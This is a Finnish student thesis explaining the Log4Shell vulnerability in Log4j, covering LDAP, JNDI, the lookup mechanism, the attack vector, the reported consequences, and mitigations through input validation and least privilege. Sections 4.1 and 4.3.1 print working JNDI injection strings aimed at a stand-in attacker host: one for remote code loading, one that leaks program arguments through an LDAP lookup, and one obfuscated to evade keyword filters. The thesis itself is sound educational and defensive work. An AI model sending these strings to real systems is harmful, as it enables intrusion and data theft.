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sen koodin suorittamisen mahdollistava haavoittuvuus. Julkisuuteen tultuaan Log4Shelliksi

kastettu haavoittuvuus yllätti monet suuretkin kirjastoa käyttävät tahot housut kintuissa. Tut-

kielmassa tarkastellaan haavoittuvuuden mahdollistaman hyökkäysvektorin rakennetta sekä

esitellään keinoja olemukseltaan ennalta-arvaamattomien nollapäivähaavoittuvuuksia hyö-

dyntävien hyökkäysten torjumiseksi.
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Abstract: For almost a decade, the widely used Log4j library had a vulnerability that allowed

arbitrary code execution. The vulnerability, named Log4Shell after it became public, caught
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attack vector enabled by the vulnerability and presents ways to prevent unpredictable attacks

that exploit zero-day vulnerabilities.
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1 Johdanto

Apache Software Foundation julkaisi joulukuussa 2021 laajalti käytettyyn Log4j-lokituskir-

jastoonsa tietoturvapäivityksen, joka korjasi vuodesta 2013 lähtien kirjastossa olleen haa-

voittuvuuden. Log4Shelliksi nimetty haavoittuvuus mahdollistaa mielivaltaisen koodin suo-

rittamisen kirjastoa käyttävällä laitteella (“CVE-2021-44228 Detail” 2022). Haavoittuvuus

on mittakaavaltaan valtava. Haavoittuvuudelle altistuivat muun muassa Ars Technican uuti-

soinnin mukaan (Goodin 2021) useat suuryritykset, kuten Amazon, Apple ja Cloudflare, sekä

Belgian puolustusministeriö (“Belgian Defence ministry network partially down following

cyber attack” 2021).

Log4Shell on mielekäs tutkimuskohde vakavuutensa ja ajankohtaisuutensa vuoksi. Tutkiel-

massa tehdään läpileikkaus haavoittuvuuden mahdollistamaan hyökkäysvektoriin ja esite-

tään keinoja, joilla Log4Shellin ja muiden samankaltaisten nollapäivähaavoittuvuuksien seu-

rauksia voidaan ennaltaehkäistä.

Tutkielma alkaa hyökkäysvektorin kannalta olennaisten teknologioiden esittelemisellä. Lu-

vussa 3 tarkastellaan haavoittuvuuden sisältänyttä Log4j-kirjastoa sekä sitä, miten hyök-

käysvektorin muodostavat osat liittyvät siihen. Luvussa 4 käsitellään itse haavoittuvuutta,

demonstroidaan sen mahdollistaman hyökkäysvektorin toiminta sekä luodaan katsaus haa-

voittuvuuden aiheuttamiin seuraksiin ja esitetään keinoja seurausten ennaltaehkäisemiseksi.
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2 Taustatietoja

Tässä luvussa käsitellään Log4Shell-haavoittuvuuden kannalta olennaisia teknologioita. Kus-

sakin alaluvussa luodaan yleiskatsaus sen käsittelemään teknologiaan ja esitellään sen toi-

minnallisuutta niiltä osin kuin se on haavoittuvuuden mahdollistaman hyökkäysvektorin hah-

mottamisen kannalta tarpeellista. Käsiteltävien teknologioiden toiminnallisuudet tuodaan

yhteen luvussa 3, jossa niiden käyttöä käsitellään Log4j-kirjaston yhteydessä.

2.1 Lightweight Directory Access Protocol

Lightweight Directory Access Protocol (lyh. LDAP) on sovelluskerroksen verkkoprotokolla.

Protokollan käyttötarkoitus on hakemistopalveluiden kanssa kommunikoiminen (Koutsoni-

kola ja Vakali 2004).

Hakemistopalvelut ovat erityisiin käyttötapauksiin tarkoitettuja tietokantoja, joissa data säi-

lytetään hierarkisessa puurakenteessa. Hakemistopalvelut optimoidaan suorittamaan nopeita

lukuoperaatioita (Carter 2003), minkä vuoksi niiden käyttö on loogista sovelluksissa, joiden

luku-kirjoitus-suhde on korkea. Näin ollen luku- ja kirjoitusoperaatioiden samanaikaisuu-

desta syntyvien ongelmien ratkaisemiseen liittyvät ominaisuudet eivät ole yhtä olennaisia

hakemistopalveluissa kuin yleiskäyttöisissä tietokannoissa (Carter 2003), ja ne ovat usein

toiminnoiltaan yleiskäyttöisiä tietokantoja yksinkertaisempia (Howes ja Smith 1997).

LDAP-protokollan käyttämä tietomalli määritellään RFC 4512 -dokumentissa (Zeilenga 2006).

Protokollaa noudattava hakemistopalvelu käsittelee dataa attribuutti-arvo-pareista koostuvi-

na tyypitettyinä tietueina. LDAP-hakemistoon ei voida tallentaa tietoa mielivaltaisessa muo-

dossa, vaan käytössä olevat attribuutit sekä tietueiden tyypittämiseen käytetyt objektiluokat

määritellään palvelukohtaisissa skeemoissa. Objektiluokka on kokoelma pakollisia ja sal-

littuja attribuutteja, jotka tyydyttävä tietue katsotaan objektiluokkaan kuuluvaksi. Jokaisen

LDAP-hakemistossa säilytettävän tietueen on kuuluttava vähintään yhteen objektiluokkaan.

LDAP-tietueessa on mahdollista säilyttää myös Java-olioita. Tähän tarkoitukseen käytettä-

vän tietueen tyypittämiseen käytettävät objektiluokat määritellään RFC 2713 -dokumentissa
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(Seligman, Lee ja Ryan 1999). Java-olion säilyttämiseen käytetyssä tietueessa voi olla joko

attribuutti, joka sisältää olion sarjallistettuna Java-tavukoodina tai attribuutti, jonka arvona

on viite factory-luokkaan, jota käyttäen olio luodaan.

2.2 Java Naming and Directory Interface

Java Naming and Directory Interface (lyh. JNDI) on Javan ohjelmointirajapinta, jonka käyt-

tötarkoitus on eri protokollia noudattavien nimi- ja hakemistopalveluiden kanssa kommuni-

koiminen (“Lesson: Overview of JNDI” 2022). Se koostuu ohjelmointirajapinnasta, Service

Provider Interfacesta (lyh. SPI) sekä Naming Managerista, joka hoitaa kahden ensin maini-

tun komponentin välisen logiikan.

Ohjelmointirajapinta sisältää metodit, joiden avulla Java-sovelluksen hakemistopalveluiden

käyttöön liittyvä koodi voidaan toteuttaa protokollariippumattomasti. Tämän seurauksena

Java-sovelluksesta käsin käytetyn hakemistopalvelun protokollan vaihtuessa, itse Java-koodia

ei ole tarpeen muokata. (Thomas 2002)

Service Provider Interface mahdollistaa eri protokollia noudattavien nimi- ja hakemistopal-

veluiden käyttämisen JNDI:n kautta (Thomas 2002). Rajapinnan tarkoitus on mahdollistaa

sovelluksen osien joustava korvattavuus (Seacord 2002). JNDI:n tapauksessa tämä tarkoit-

taa sitä, että esimerkiksi käytössä olevaa hakemistopalveluprotokollaa vaihdettaessa itse JN-

DI:n koodia ei muokata, vaan rajapinnan toteuttava komponentti korvataan sellaisella, jo-

ka osaa kommunikoida haluttua protokollaa käyttäen. Java Development Kitin mukana tulee

valmiit komponentit LDAP-, CORBA-, RMI- ja DNS-protokollien käyttämistä varten (“Les-

son: Overview of JNDI” 2022).

JNDI mahdollistaa sellaisten Java-sovellusten ohjelmoimisen, jotka pystyvät käyttämään ha-

kemistopalveluihin tallennettua dataa. JNDI:n kanssa yhteensopivissa LDAP-protokollan ha-

kemistopalveluissa voi säilyttää dataa myös Java-olioina alaluvussa 2.1 esitetyssä muodossa.

Java-sovellus voi myös suorittaa JNDI:n kautta saamaansa Java-tavukoodia.
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2.3 StrLookup

Tässä alaluvussa kuvaillaan StrLookup-rajapinnan toteuttavien lookup-liitännäisten toimin-

taperiaate haavoittuvuuden kannalta olennaisin osin. Kuvailu on kirjoitettu Apache Log4j 2

-kirjaston dokumentaation (“Apache Log4j 2 User’s Guide” 2022) pohjalta.

StrLookup-rajapinta on Apache Commons Lang -kirjastosta lainattu ja muokattu täyttä-

mään Log4j-kirjaston tarpeet. Rajapinnan toteuttavien lookup-liitännäisten käyttötarkoitus

on merkkijonon osan korvaaminen korvattavan merkkijonon perusteella muodostetulla merk-

kijonolla. Liitännäisten avulla voidaan tehdä dynaamisia muutoksia lokiviestin muodostavan

merkkijonon sisältöön. Kirjaston mukana tulee valmiita liitännäisiä, minkä lisäksi rajapinnan

toteuttavia liitännäisiä on mahdollista luoda itse.

Ennen lokitetun merkkijonon ohjaamista eteenpäin Log4j etsii ja korvaa siitä sitä varten mer-

kityt osamerkkijonot. Etsittävä merkkijono muodostuu $-merkistä, sitä seuraavista aaltosu-

luista sekä aaltosulkujen sisään kirjoitetusta merkkijonosta, joka yritetään korvata lookup-

liitännäistä käyttäen. Aaltosulkujen sisään tulee tieto siitä, mitä liitännäistä käyttäen merkki-

jono on tarkoitus korvata sekä kyseiselle liitännäiselle vietävät argumentit.

Alla olevissa esimerkeissä käytetään haavoittuvuuden kannalta olennaisia JndiLookup- ja

EnvironmentLookup-liitännäisiä. JndiLookup mahdollistaa muuttujien hakemisen hakemis-

topalvelusta JNDI-ohjelmointirajapintaa käyttäen ja EnvironmentLookup lukee ajoympäris-

tön ympäristömuuttujia.

Ajoympäristön komentotulkin polun lisääminen lokiviestiin onnistuu ympäristömuuttujia lu-

kevaa EnvironmentLookup-liitännäistä käyttäen seuraavalla merkkijonolla: ”komentotulkki:

${env:SHELL}”. Esimerkin lopulliseksi lokiin kirjattavaksi merkkijonoksi voisi muodostua

esimerkiksi ”komentotulkki: /usr/bin/bash”.

Merkkijonojen tulkinta tapahtuu rekursiivisesti eli liitännäisen tulkittavaksi annettava merk-

kijono voi itsessään sisältää lookup-liitännäisten tulkittavaksi merkittyjä merkkijonoja. Esi-

merkiksi merkkijonosta ”${jndi:${env:LDAP_OSOITE}}” suoritetaan ensin sisempi tul-

kintaoperaatio, joka selvittää pyydetyn ympäristömuuttujan arvon ja korvaa sillä pyynnön

sisältävän osamerkkijonon. Tämän jälkeen tulkitaan ulompi merkitty merkkijono, minkä
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seurauksena JndiLookup-liitännäinen tekee pyynnön LDAP_OSOITE-muuttujan sisältämän

merkkijonon osoittamaan kohteeseen. Merkkijonon lopullinen arvo muodostuu palvelimelta

saapuvasta datasta, esimerkiksi Java-olion palauttamasta arvosta.
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3 Log4j-kirjasto

Tämä luku alkaa yleiskatsauksella lokittamiseen sekä tutkielmassa käsiteltävän haavoittu-

vuuden sisältäneeseen Log4j-lokikirjastoon haavoittuvuuden kontekstin hahmottamisen sel-

keyttämiseksi. Tätä seuraa osio, jossa käydään läpi, miten luvun 2 alaluvuissa esiteltyjä

teknologioita voidaan käyttää Log4j:n kanssa.

Lokin pitäminen tarkoittaa systemaattista ja hallittua sovelluksen ajonaikaisten tapahtumien

talteen kirjaamista (Gupta 2003). Lokia voidaan pitää esimerkiksi sovelluksen toiminnasta

tai sen käyttäjien toimista. Lokiviestit ovat usein pääasiallinen informaatiolähde diagnosoi-

taessa sovelluksen ajonaikaisia virhetilanteita tai ajoympäristön ongelmia (Yuan ym. 2012).

Niitä voidaan käyttää myös esimerkiksi järjestelmänvalvontaan (Shang ym. 2014) tai käyt-

täjäanalytiikan datana (Bernaschina ym. 2017).

Chen ym. (2017) mukaan lokittamisen toteuttaminen yksinkertaisimmillaan onnistuu kuksu-

malla käytetyn ohjelmointikielen tulostusfunktioita suoraan koodin seassa. Tällainen toteu-

tustapa on altis kertyvän tiedon määrän ja rinnakkaisuuksiin liittyvien ongelmien hallitse-

mattomuudelle. Tapahtumien kirjaamiseen on olemassa kirjastoja, joiden on tarkoitus suo-

raviivaistaa monimutkaisen lokidatan hallittu muodostaminen ja tallentaminen. Tutkielman

kannalta olennainen näistä kirjastoista on laajalti käytetty Java-sovelluksesta käsin käytettä-

väksi tarkoitettu Apache Log4j 2.

Log4j-kirjastolla suoritettava lokittaminen tapahtuu kutsumalla Logger-olion metodeita oh-

jelmakoodin seassa. Lokiviestit on mahdollista luokittella eri lokitustasoille (engl. log le-

vel), johon voi suhtautua kuin järjestysasteikolliseen muuttujaan. Alla olevassa esimerkis-

sä Logger-olio asetetaan log-muuttujan arvoksi kutsumalla LogManager-luokan staattista

getLogger-metodia. Logger-olio sisältää oman erillisen metodinsa kullekin lokitustasolle,

joiden avulla lokitettavan viestin lokitustaso määritellään. Viestin lokitustasoa voidaan käyt-

tää esimerkiksi sen määränpään määrittelemiseen. Esimerkissä log-muuttujan sisältämän

Logger-olion metodeita kutsuen lokitetaan ensin lokitustasoltaan warn-tasoinen ja sitten fatal-

tasoinen viesti.

6



import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class Foo {

private static final Logger log = LogManager.getLogger();

public static void main(String[] args) {

log.warn("warn-tason lokiviesti");

log.fatal("fatal-tason lokiviesti");

}

}

Lokitettavien viestien sisältöä voidaan muokata dynaamisesti sisällyttämällä Logger-oliolle

toimitettavaan merkkijonoon lookup-liitännäisten tulkittavaksi merkittyjä osamerkkijonoja.

Liitännäisten toiminta kuvataan yksityiskohtaisemmin alaluvussa 2.3.

Haavoittuvuuden kannalta olennaista JndiLookup-liitännäistä voidaan hyödyntää Log4j-kir-

jaston yhteydessä esimerkiksi konfiguraatiotiedostojen sijainnin keskittämisessä. Käyttöta-

pausesimerkki: taho voi yksinkertaistaa mikropalveluidensa lokiviestien sisällön rakenteen

yhdenmukaistamisen säilyttämällä niihin liittyviä asetuksia LDAP-palvelimella, josta yksit-

täiset sovellukset noutavat ne lokiviestin luomisen yhteydessä.

Lokitusfunktioiden parametreihin voidaan luonnollisesti sisällyttää myös käyttäjältä saapu-

vaa dataa. Esimerkiksi verkkosivuston hoitaessa uutiskirjeiden tilausten lokittamisen alla

olevaa funktiota kutsuen, käyttäjä pystyisi vaikuttamaan antamallaan syötteellä lokitettavaksi

päätyvään merkkijonoon.

public static void subscribe(String email) {

log.info(String.format("%s tilasi uutiskirjeen.", email));

}
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4 Haavoittuvuus

Log4Shell on Log4j-kirjaston versioiden 2.0-beta9 ja 2.15.0 välisistä versioista löytyvä haa-

voittuvuus, joka mahdollistaa mielivaltaisen koodin suorittamisen sekä tietojen vuotamisen

hyökkäyksen kohteena olevalta laitteelta. Haavoittuvuus tuli julkisuuteen kirjastoa ylläpitä-

vän Apachen ulkopuolisen tahon toimesta eli kyseessä on niin kutsuttu nollapäivähaavoittu-

vuus (engl. zero-day vulnerability).

Log4Shellin mahdollistava tekijä Log4j-kirjastossa on sen oletuskonfiguraatio, jossa määri-

tellään käyttöön sellaisia Java Naming and Directory Interfacen ominaisuuksia, jotka mah-

dollistavat JNDI-pyyntöjen tekemisen mielivaltaiselle LDAP-palvelimelle (“CVE-2021-44228

Detail” 2022). Pyynnön tekemisen lisäksi JNDI luottaa oletusarvoisesti mistä tahansa osoit-

teesta haettuun Java-olioon, mikä mahdollistaa mielivaltaisen koodin suorittamisen.

Yhdysvaltain kauppaministeriön alainen National Institute of Standards and Technology

määrittelee Log4Shellin äärimmäisen vakavaksi haavoittuvuudeksi (“CVE-2021-44228 De-

tail” 2022). Haavoittuvuuden vakavuuteen ja sen merkittävyyteen vaikuttavia tekijöitä on

useita. Log4j-kirjaston laaja käyttö nostaa haavoittuvuuden seurauksille alttiiden kohteiden

lukumäärää. Ars Technican selvityksen mukaan (Goodin 2021) haavoittuvuus löytyi mo-

nien suurten yritysten, kuten Amazonin, Applen ja Cloudflaren, verkkopalveluista. Kirjasto

voi olla suoraan sovelluksen käytössä tai epäsuoraan mikäli jokin sen riippuvuuksista käyt-

tää kirjastoa. Log4j:n käytön yleisyydestä seuraava hyökkäyspinnan laajuus voidaan nähdä

hyökkääjiä houkuttelevana tekijänä.

Lisäksi haavoittuvuuden vakavuutta nostaa se, että kyseessä on nollapäivähaavoittuvuus.

Roumanin mukaan (Roumani 2021) nollapäivähaavoittuvuudella tarkoitetaan sellaista löy-

dettyä haavoittuvuutta, joka ei ole ennestään ohjelmiston valmistajan tiedossa ja jonka kor-

jaavaa tietoturvapäivitystä se ei ole vielä kehittänyt. Tietoturva-aukon pikainen paikkaami-

nen on ensisijaisen tärkeää erityisesti siinä tapauksessa, että tieto nollapäivähaavoittuvuu-

desta vuotaa julkisuuteen. Julkista tietoa oleva haavoittuvuus johtaa suurempaan määrään

haavoittuvuutta hyödyntämään pyrkiviä hyökkääjiä.
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4.1 Hyökkäysvektori

Haavoittuvuus perustuu Log4j-kirjaston käsittelemien lokiviestien sisällön manipuloimiseen,

joten hyökkäysvektorin alkupisteenä voi toimia mikä tahansa sellainen lokitettava merkki-

jonon, jonka sisältöön hyökkääjä voi vaikuttaa. Esimerkkejä lokitettavista asioista luetellaan

luvussa 3. Alla olevassa esimerkissä hyökkäysvektorin alkupisteenä käytetään HTTP-kutsun

otsikkotietojen User-Agent-kenttää. User-Agent on merkittävä mittari verkkosivun vierai-

lijoiden yksilöimisessä (Eckersley 2010), joten sen lokitetuksi päätymisen olettaminen on

mielekästä.

Kuviossa 1 kuvatussa hyökkäyksessä kohteena oleva palvelin on määritelty lokittamaan

HTTP-kutsujen User-Agent-kentän sisältö käyttäen haavoittuvuuden sisältävää versiota Log4j-

kirjastosta. Hyökkääjän hallussa oleva LDAP-palvelin on puolestaan määritelty vastaamaan

saapuvaan LDAP-pyyntöön palauttamalla haitallista koodia sisältävän Java-luokan.

Hyökkääjä

GET /index.html HTTP/1.1 
Host: kohde.fi 

User-Agent: ${jndi:ldap://hyokkaaja.xyz/payload}

Hyökkääjän hallussa  
oleva LDAP-palvelin 

(ldap://hyokkaaja.xyz)

Haavoittuvuudelle 
altis palvelin 

(kohde.fi)
LDAP-pyyntö

LDAP-vastaus

Kuvio 1. Mielivaltaisen koodin suorittaminen palvelinohjelmiston kautta.

Hyökkääjä lähettää kohteena olevalle palvelimelle HTTP-kutsun, jonka otsikkotietojen User-

Agent-kentässä on tavanomaisen sisällön sijaan haavoittuvuutta hyväksikäyttämään suunni-

teltu merkkijono ”${jndi:ldap://hyokkaaja.xyz/payload}”. Kun kohdepalvelin vastaanottaa

kutsun, User-Agent-kentän sisältämä merkkijono ohjataan lokitettavaksi kutsumalla Log4j:n

Logger-olion metodia. Alaluvussa 2.3 kuvailtua toimintatapaa noudattaen Log4j pyrkii kor-

vaamaan merkkijonon käyttämällä JndiLookup-liitännäistä ennen viestin lokittamista. Lii-
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tännäinen tekee pyynnön merkkijonon sisältämään LDAP-osoitteeseen käyttäen JNDI-ohjel-

mointirajapintaa, minkä jälkeen vastauksena saatu Java-luokka kirjoitetaan muistiin ja suo-

ritetaan.

Haavoittuvuus koskee palvelinten lisäksi myös Log4j-kirjastoa käyttäviä asiakasohjelmia.

Kuviossa 2 esitetyssä hyökkäysvektorissa asiakasohjelman kautta on mahdollista lähettää

joukkoviestejä, jotka tavoittavat kaikki muut samalla hetkellä palvelimeen yhteydessä ole-

vat käyttäjät. Esimerkin asiakasohjelma pitää palvelimella käydyistä keskusteluista paikallis-

ta lokia. Hyökkääjän lähettäessä haavoittuvuutta hyväksikäyttävän viestin, jokainen viestin

vastaanottava asiakasohjelma pyytää ja suorittaa hyökkääjän hallussa olevalta palvelimelta

saamansa Java-tavukoodin samaan tapaan kuin edellisen esimerkin kohdepalvelin.

Hyökkääjä

"${jndi:ldap://hyokkaaja.xyz/payload}"

Hyökkääjän hallussa  
oleva LDAP-palvelin 

(ldap://hyokkaaja.xyz)

Palvelin

Kuvio 2. Mielivaltaisen koodin suorittaminen palvelimeen yhteydessä olevien asiakasohjel-

mien kautta.

Pelkkiä LDAP-pyyntöjä käyttäen suoritetussa tietojen urkinnassa hyökkääjä käyttää hyväk-

seen lookup-liitännäisten rekursiivista toimintatapaa. JNDI:n tekemän LDAP-pyynnön koh-

deosoitteeseen on mahdollista upottaa mitä tahansa lookup-liitännäisten selvitettävissä ole-

vaa dataa. Kuvion 3 esimerkissä hyökkääjä ohjastaa Log4j:n liittämään ohjelman kaksi en-

simmäistä argumenttia hallussaan olevan palvelimen osoitteen aliverkkotunnukseksi ja te-

kemään LDAP-pyynnön muodostuvaan osoitteeseen. Hyökkääjä voi lokittaa talteen palveli-

melleen saapuvat pyynnöt ja niiden sisältämän vuotaneen datan.
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Hyökkääjä

GET /index.html HTTP/1.1
Host: kohde.fi
User-Agent:

${jndi:ldap://${main:0}.${main:1}.hyokkaaja.xyz/dev/null}

Hyökkääjän hallussa 
oleva LDAP-palvelin 
(ldap://hyokkaaja.xyz)

Haavoittuvuudelle
altis palvelin 

(kohde.fi)

LDAP-pyyntö

ldap://arg1.arg2.hyokkaaja.xyz/dev/null

Kuvio 3. Datan urkinta LDAP-pyyntöön upottamalla.

4.2 Seuraukset

Haavoittuvuus mahdollistaa mielivaltaisen koodin suorittamisen sellaisissa järjestelmissä,

jotka käyttävät haavoittuvuuden sisältävää versiota Log4j-kirjastosta sellaisten merkkijono-

jen lokittamiseen, joiden lokitettavaksi päätyvään sisältöön ulkopuolinen taho voi vaikuttaa.

Lisäksi hyökkääjän on mahdollista myös urkkia mielivaltaista koodia suorittamatta sellaisia

tietoja, jotka on mahdollista hakea lookup-liitännäisiä käyttäen.

Itse Java-ohjelmaan sisällytetyn toiminnallisuuden lisäksi hyökkääjä voi Javan Runtime-

luokkaa käyttäen käynnistää sovelluksesta käsin muita ohjelmia. Tämä mahdollistaa muun

muassa kuorikomentojen suorittamisen, minkä seurauksena haavoittuvuus perii shell-injek-

tioihin liittyviä seurauksia.

Unit 42:n analyysin mukaan (Yan ym. 2021) Log4Shell-haavoittuvuutta hyväksikäyttäen on

pyritty mielivaltaista koodia suorittamalla muun muassa tunnistamaan haavoittuvuudelle alt-

tiita palvelimia, varastamaan ajoympäristöön liittyviä tietoja kuten järjestelmän käyttäjien

salasanoja sekä ympäristömuuttujia, avaamaan takaovi (engl. backdoor) ja asentamaan kryp-

tovaluuttojen louhintaan käytettäviä sovelluksia. Lisäksi Bitdefenderin havaintojen mukaan

(Zugec 2021) haavoittuvuutta käytetään laitteiden liittämiseksi hyökkääjän hallitsemaan bot-

tiverkkoon sekä kiristyshaittaohjelmien (engl. ransomware) levittämiseen.
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4.3 Seurausten ehkäiseminen

Nollapäivähaavoittuvuuden ominaisuuksiin kuuluu se, ettei haavoittuvuuden mahdollista-

man hyökkäyksen yksityiskohtia tiedetä etukäteen. Tässä alaluvussa esitetään kaksi hyväksi

todettua (Khan ym. 2022) ohjelmistoturvallisuuteen liittyvää käytännettä, joita noudattamal-

la taho voi pyrkiä ennaltaehkäisemään Log4Shelliä ja muita samankaltaisia haavoittuvuuksia

hyödyntäen tapahtuvia hyökkäyksiä.

4.3.1 Käyttäjän syötteen tarkastaminen

Haavoittuvuutta hyödyntävä hyökkäys tapahtuu lokitettavaksi päätyvää merkkijonoa mani-

puloimalla. Eräs tapa hyökkäyksen ehkäisemiseksi on käyttäjän syötteiden tarkastaminen

(engl. input validation). Liu ja Tan (2008a) mukaan syötettä tarkastaessa varmistetaan, että

se ei riko sovelluksen sille asettamia rajoituksia. Rajoituksia noudattamattomat syötteet voi-

daan joko hylätä tai niitä voidaan käsitellä sovelluksessa hyväksytyistä syötteistä poikkea-

valla tavalla. Syötteiden tarkastamisen kunnollinen toteuttaminen on yksi parhaista keinoista

injektiohyökkäysten ehkäisemiseksi ja sovelluksen tietoturvan vahvistamiseksi.

Syötteen puutteellisen tarkastamisen seurauksena ohjelman käsiteltäväksi päätyy mahdol-

lisesti odottamattomassa muodossa olevaa dataa, mikä voi altistaa sovelluksen esimerkiksi

mielivaltaisen koodin suorittamiselle (“CWE-20: Improper Input Validation” 2022), kuten

Log4Shellin tapauksessa kävi. Puutteellinen syötteen tarkastaminen on yksi vaarallisimpia

ohjelmistoihin liittyviä heikkouksia (“2021 CWE Top 25 Most Dangerous Software Weak-

nesses” 2022).

Syötteen sisältöä voidaan tarkastella muun muassa vertaamalla sitä ennalta sallittuihin ar-

voihin tai tutkimalla syötteen rakennetta ja sen sisältämiä merkkejä esimerkiksi säännöllisiä

lausekkeita käyttäen (“Input Validation Cheat Sheet” 2022). Kaiken kattavan syötteen tar-

kastamisen toteuttaminen ei kuitenkaan ole vaivatonta. Liu ja Tan (2008b) mukaan käyttäjän

syötteen tarkastamisen suunnittelu ja toteuttaminen itsessään on haastavaa. Lisäksi toteu-

tetut tarkastukset vaativat ajan kuluessa ylläpitoa ja päivittämistä, esimerkiksi ohjelmiston

toiminnan muuttuessa tai sen laajetessa.

Käyttäjän syötteen validointi on lähtökohtaisesti haastavaa, minkä lisäksi Log4Shellin ta-
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pauksessa siitä tekee entistäkin monimutkaisempaa Log4j-kirjaston ominaisuuksien moni-

puolisuus. Lookup-liitännäisten laajaa kirjoa sekä niiden rekursiivista selvittämistä hyödyn-

täen hyökkääjä voi pyrkiä kiertämään tarkastussäännöt obfuskoimalla hyökkäykseen käyttä-

mänsä merkkijonon. Esimerkiksi merkkijonot ”${jndi:ldap://osoite.fi/a}” ja LowerLookup-

liitännäistä hyödyntäen obfuskoitu ”${${lower:j}ndi:${lower:l}dap://osoite.fi/a}” aiheutta-

vat Log4j:n käsittelemänä pyynnön halutulle LDAP-palvelimelle, mutta vain ensimmäinen

jää kiinni sellaiseen syötteen tarkastukseen, jossa etsitään yksinkertaisesti haavoittuvuuden

kannalta olennaisia osamerkkijonoja kuten ”jndi”, ”ldap” tai ”${jndi”.

4.3.2 Vähimpien oikeuksien periaate

Tarkastuksen läpäisevän ilkeämielisen syötteen aiheuttamien vahinkojen laajuteen vaikut-

taa moni tekijä. Hyökkääjän toimintaa murron kohteena olevassa järjestelmässä voidaan ra-

joittaa noudattamalla vähimpien oikeuksien periaatetta (engl. principle of least privilege).

Saltzer ja Schroeder (1975) muotoilevat periaatteen tarkoittavan sitä, että jokaiselle proses-

sille tulisi antaa vain ne käyttöoikeudet, jotka se tarvitsee toimiakseen. Käyttöoikeuksilla

säädellään yksinkertaisimmillaan sitä, mitä tiedostoja kunkin prosessin sallitaan lukea, kir-

joittaa tai suorittaa. Tarpeettomien käyttöoikeuksien antamatta jättäminen rajaa sovelluksen

kautta saapuvan hyökkäyksen vaikutusalaa järjestelmässä.

Krohn ym. (2005) mukaan ohjelmisto tulisi rakentaa monoliittisen sovelluksen sijaan pie-

nemmistä, tarkoituksenmukaisesti jaetuista, eristetyistä, keskenään kommunikoivista osista.

Näin toimittaessa kullekin ohjelmiston osan prosessille voidaan antaa täsmälleen ne käyttö-

oikeudet, jotka se tarvitsee suorittaakseen tehtävänsä sen sijaan, että koko ohjelmistolla olisi

kaikki yksittäisten osien vaatimat käyttöoikeudet.

Ohjelmistokokonaisuuden pilkkomalla haavoittuvuutta hyödyntävä hyökkäys rajoittuu eris-

tettyyn osaan ohjelmistoa, jolla ei ole kaikkia koko ohjelmiston tarvitsemia käyttöoikeuksia.

Tämä rajoittaa hyökkäyksestä potentiaalisesti koituvat vahingot koskemaan vain niitä resurs-

seja, joiden käyttöön haavoittuvaisella prosessilla on käyttöoikeudet. Esimerkiksi kuviossa

1 esitetyn skenaarion kohdepalvelimen tapauksessa voisi olla mielekästä pohtia, voitaisiinko

muun muassa käyttäjätietojen kerääminen eristää muusta ohjelmasta sellaiseksi osaksi, jolla
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ei ole oikeutta esimerkiksi ajaa kuorikomentoja.
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5 Yhteenveto

Tutkielmassa käsiteltiin Log4Shell-nollapäivähaavoittuvuutta ja sen seurausten ennaltaeh-

käisemistä. Haavoittuvuus altistaa Log4j:n oletuskonfiguraatiota käyttävän, puutteellisesti

käyttäjien syötteet tarkastavan sovelluksen mielivaltaisen koodin suorittamiselle. Hyökkääjä

pystyy lokitettavaksi päätyvän merkkijonon kautta ohjastamaan tällaisen sovelluksen nouta-

maan ja suorittamaan tahtomaansa Java-koodia.

Ennaltaehkäisykeinoina esitetyt käyttäjän syötteen tarkastaminen sekä vähimpien oikeuk-

sien periaatteen noudattaminen ovat yleisesti hyvänä pidettyjä ohjelmistoturvallisuuskäytän-

teitä. Ehdotettujen ennaltaehkäisykeinojen suunnittelemiseen ja toteuttamiseen liittyy toki

haasteensa, mutta väistämättä herää kysymys, mistä syistä monet suuretkin haavoittuvuudel-

le altistuneet ohjelmistot on suunniteltu ja toteutettu huomioimatta siinä käytetyn kirjaston

oletuskonfiguraatiota ohjelmistoturvallisuuden näkökulmasta.
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